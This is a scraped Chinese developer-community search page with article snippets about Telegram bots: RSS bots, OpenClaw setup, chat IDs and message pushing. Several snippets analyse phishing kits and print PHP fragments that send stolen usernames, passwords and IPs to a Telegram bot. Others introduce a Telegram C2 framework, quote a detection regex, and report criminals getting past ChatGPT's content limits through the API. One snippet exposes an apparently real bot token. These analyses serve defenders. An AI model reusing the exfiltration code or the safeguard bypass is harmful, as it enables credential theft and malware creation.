文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

部署你的RSS机器人

/分钟)(可忽略) error_threshold(源最大出错次数)(可忽略） socks5(用于无法正常 Telegram API 的环境)(可忽略) mysql(MySQL 数据库配置)(可忽略)...sqlite(SQLite 配置)(可忽略(已配置 mysql 时，该项失效)) telegram.endpoint(自定义 telegram bot api url)(可忽略) allowed_users...(允许使用 bot 的用户 telegram id)(可忽略(为空时所有用户都能使用 bot)) 申请 Telegram Bot Token 以下部分截图和文章来自Spoience 的博客 打开 Telegram...author_url 请替换成自己的 查看 Telegram ID | 默认的配置是允许所有用户使用我们刚刚创建的 Telegram RSS Bot，但为了安全、防止被滥用我们可以设置指定 ID 的...Telegram 用户能够使用该 Bot，获取允许使用用户（比如自己）的 Telegram ID 并填入配置文件的 allowed_users 字段 获取 Telegram ID：https://t.me

1.4K20

Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

Bot API$url = "https://api.telegram.org/bot{$bot_token}/sendMessage";$options = ['http' => ['method'...Bot后端通常为Python脚本，使用python-telegram-bot库：from telegram import Updatefrom telegram.ext import Application...整个过程在5分钟内完成，且因使用真实品牌界面与即时交互，成功率显著高于传统钓鱼。4 技术检测与防御方案4.1 封禁Telegram关联基础设施安全网关应识别并阻断与已知恶意Bot关联的通信。...4.2 多因素认证加固鉴于攻击者可绕过短信/推送式MFA，建议强制使用FIDO2硬件安全密钥或基于证书的认证。...第二，Bot Token的动态轮换。攻击者可每日更换Bot，使静态规则失效。需结合流量行为（如高频POST至Telegram API）而非仅依赖Token字符串。第三，用户跨平台信任惯性。

24810
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    玩转OpenClaw｜云上OpenClaw(Clawdbot)快速接入Telegram指南

    配置模型API Key提示：OpenClaw接入Telegram场景推荐使用海外版模型。为OpenClaw配置模型API Key可以直接在Lighthouse服务器的应用管理页面进行操作。...详情可参考云上OpenClaw(原Clawdbot)一键秒级部署指南-配置模型API Key，此处不再赘述。按下图示例，选择 Skip for now 。选择 All providers 。...Channel配置-接入Telegram接下来进入 Select channel 步骤，通过键盘方向键选中 Telegram (Bot API) ，并且回车确认。...输入Bot token输入前面步骤“在Telegram中创建Bot”中保存的 Telegram Bot token 。...完成以上步骤之后，您已经初步完成了OpenClaw接入Telegram Bot。在Telegram中与Bot聊天在上文中BotFather的聊天中，点击图示的位置，打开Bot对话框。

    16.2K45

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    本文提出一套涵盖终端行为监控、身份认证加固、浏览器运行时保护与威胁情报提取的多维防御框架，并辅以可落地的代码示例，验证对异常Telegram进程通信、WebView劫持及Bot API调用的识别能力。...关键词：Telegram；钓鱼攻击；Bot API；AiTM；数据外泄；WebView劫持；零信任1 引言即时通讯平台因其高渗透率、端到端加密与开放API生态，已成为现代数字协作不可或缺的组成部分。...此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度...更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。...4 平台侧缓解建议Telegram可实施以下改进：Bot滥用检测：监控异常高频sendMessage调用（>100次/分钟）、跨国家IP登录；速率限制：对新注册Bot实施每日消息配额（如500条）；内容扫描

    31710

    用 400 行核心代码打造一个极简的 MoltBot（OpenClaw），这货现在叫 tele-code

    Telegram 怎么接消息？ Webhook 还是 Polling？2. OpenCode 怎么驱动？ 有 SDK 吗？能编程调用吗？3. 中间结果怎么同步？ ...Webhook vs Polling：我肯定只选简单的Webhook 需要一个公网可访问的 HTTPS 地址。我这个东西跑在自己电脑上，搞个 ngrok 或者 Cloudflare Tunnel？..., messageId, newContent);});但这里有一个大坑：Telegram 的 API 有限流。...模型切换来解决，应对 API 限流测试时遇到了另一个问题：OpenCode 默认模型的 API 频繁返回限流错误："High concurrency usage of this API, please...      # Telegram Bot 封装（Telegraf）│   │   ├── opencode.ts       # OpenCode SDK 封装 + SSE 事件流│   │   └─

    66311

    命令控制之Telegram

    Cracking Telegram Encryption，而且Telegram支持发送所有文件类型，Telegram提供对外开放的api，用户可定制性的开发客户端。...Telegram的Bots是Tegegram内置的第三方应用，通信方式为HTTPS，功能类似于聊天机器人，它可以获取定制化的信息，结合其他的服务使用，同时可以创建自定义的工具。...之后成功创建Token： 12724xxxx059:AAEINExxxxxxxxxxxxxxxxxxx_hIl8A Bot API 示例 安装依赖 目前Telegram官网已经公开了如下语言的开发实例:...以上介绍了Bot API中发送、接收文本消息和上传、下载文件的功能，剩下只需要将功能拼接，添加命令解析，就可以实现一个简易的C2 Server POC bt2框架 项目介绍 Bt2是一个使用python...编写开发的C2框架，它使用了telegram提供的基础设施和功能丰富的bot api，稍微改变了其通信平台的用途，使其可以充当c&c。

    4.1K20

    钓鱼团伙用Telegram机器人“接单”：欧洲凭证窃取进入“实时客服”时代

    "时间: " . date('Y-m-d H:i:s');// 调用Telegram API发送消息file_get_contents("https://api.telegram.org/bot{$bot_token...开放API成双刃剑Telegram之所以成为钓鱼团伙的首选平台，源于其三大特性：Bot API完全开放且文档完善：开发者可轻松创建具备消息推送、按钮交互、文件传输能力的机器人；端到端加密非默认启用：普通群组和频道通信未加密...事后分析发现，攻击者使用的Telegram机器人名为 @CloudGrabber_Bot，其频道中同时监控着来自12个国家的 87个活跃钓鱼站点，平均每15分钟就有一次新凭证捕获。...网络层：封禁高风险Telegram基础设施在防火墙或代理中，基于威胁情报封禁已知与钓鱼相关的Telegram Bot Token、Channel ID对应的IP段；使用DNS过滤服务（如Cisco Umbrella...若攻击者伪造“企业邮箱升级”“工资单查看”等场景，诱导用户点击内嵌链接，同样可实现凭证收割。其次，虽然Telegram在国内受限，但类似Bot机制已在其他平台萌芽。

    16810

    面向意大利公共服务的新型钓鱼工具包分析与防御机制研究

    研究表明，使用本地语言、模仿本地机构视觉风格、引用本地节假日或政策变动的钓鱼邮件，点击率可提升3–5倍（KnowBe4, 2024）。...更关键的是，Telegram Bot作为数据回传通道，具有高隐蔽性与实时性：// telegram.phpfunction send_to_telegram($user, $pass, $ip) {$bot_token...\nUser: $user\nPass: $pass\nIP: $ip";$url = "https://api.telegram.org/bot$bot_token/sendMessage?...API调用if re.search(r'api\.telegram\.org/bot\d+:[A-Za-z0-9_-]+/sendMessage', packet.payload):if not whitelist.contains...鼠标悬停查看链接真实URL主动联系IT部门核实KnowBe4平台支持自定义模板，可导入真实钓鱼样本进行训练。数据显示，经过3轮针对性演练后，员工点击率下降68%。五、讨论本文方法仍存在局限。

    21310

    黑客靠ChatGPT赚钱：每100次收费37元，还能修改恶意软件代码

    “机器人即服务” 据相关安全公司消息，黑客们首先找到一种可以绕过OpenAI限制的方法，通过使用ChatGPT API集成到他们的一个应用程序中。...事实上证明，相较于网页端，API版本反而不会对恶意内容进行强制限制。 其中有个论坛的用户，就将其与Telegram消息APP结合起来，以此来出售服务Telegram bot。...△Telegram bot生成的钓鱼软件，图源：Enlarge △Telegram bot生成的恶意软件，图源：Enlarge（下同） 与此同时，其他黑客也在发布一些可以免费生成恶意内容的代码。...一种是Web用户界面，一种是API，将OpenAI的模型和数据跟你自己的应用界面配套使用。 比如这些都是合法认证的APP。 此前，黑客们使用Web端ChatGPT生成恶意软件和钓鱼邮件很容易。...黑客们逐渐开始转战去使用他们的API，结果限制要少得多。 对于这件事，有网友表示：没有万无一失的修复方法。 因为ChatGPT是一种语言模型，黑客总是可以找到违反OpenAI内容政策的提示。

    88920

    一个基于Go的Telegram RSS Bot机器人，支持应用内阅读预览

    说明：很久前博主介绍过一个Telegram RSS机器人→传送门，用起来还不错，就是安装对新手不太友好，这里就再介绍一个基于Go的Telegram RSS Bot，安装很快，也支持直接在Telegram...应用内预览订阅文章，很方便，也是博主用过最好用的一个Telegram RSS机器人，这里就说下使用方法。...2、申请Telegraph Token curl https://api.telegra.ph/createAccount?...100 #自定义telegram bot api url，选填 telegram: endpoint: https://xxx.com/ #使用Mysql数据库，不填则默认使用SQLite mysql.../set 设置订阅 /help 帮助 Channel订阅使用方法： 1、将Bot添加为Channel管理员 2、发送相关命令给Bot #Channel订阅支持的命令 /sub @ChannelID

    2.1K00

    telegram-1：向tg的机器人群推送消息

    Telegram Bot的创建简单，API全面且免费，适合国际业务。 业务需求：最近需要将自动客户端的自动打包结果的二维码和下载地址推送到tg机器人群，需要了解。...这是一个测试用的bot： token：5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A username：@test1aJHcqb3iU_bot 可以在浏览器中使用...浏览器访问下述url获取这个群组的chat_id： https://api.telegram.org/bot5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A/...getUpdates 在返回值中找到这个群组的chat_id，机器人会向这个chat_id发送消息： -750599670 (3).python向bot推送消息的demo 1.相关准备 去官网查看下api...: https://core.telegram.org/bots/api 需要用到 python-telegram-bot 库。

    12.1K30

    Telegram Bot – 在线获取群聊GroupChat ID 教程

    假设机器人名称是my_bot。 1-将机器人添加到组中。 转到组，单击组名称，单击添加成员，在搜索框中搜索您的机器人，如下所示：@my_bot，选择您的机器人并单击添加。 2-向机器人发送虚拟消息。...您可以使用此示例：/my_id @my_bot 我尝试了一些消息，但并非所有消息都有效。上面的示例工作正常。...也许消息应该以 / 开头） 3- 转到以下网址： https://api.telegram.org/botXXX:YYYY/getUpdates 将 XXX:YYYY 替换为您的机器人令牌，如： https...://api.telegram.org/bot123456789:jbd78sadvbdy63d37gda37bd8/getUpdates 4- 查找 "chat":{"id":-zzzzzzzzzz，...5-测试：您可以测试使用 curl 向群组发送消息： curl -X POST "https://api.telegram.org/botXXX:YYYY/sendMessage" -d "chat_id

    36.7K30

    Github 7万星的Clawdbot实测：用国产模型做心脏，躺在床上指挥电脑干活。

    我自己想要安装开源的模型，比如开源的文字或者语音模型，我只需要在 Telegram 和它说一句即可。。 它支持很多家模型的接入。...不管是 API 还是本地模型， Clawdbot 支持在 Telegram、Slack、WhatsApp 等多平台发送与 AI 的交互消息。通过 Gateway 服务 可以做到用一个网关连接许多设备。...我以 Windows 为例： iwr -useb https://molt.bot/install.ps1 | iex 一行命令，搞定。 安装完按照它的向导配置即可。...你即便不选，他后面也有一个终端和网页可以对话。但我还是选择 Telegram，以便我能随时随地使用手机，安排他做任务。 Telegram 用手机号码注册即可，需要魔法。...我后面也试试。操作方法还是直接要求他做到这个，然后他会使用编码的方式创建了一个这样类似脸的动画，甚至在主人没注意到他的时候会进入一个休眠的状态。

    2100
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券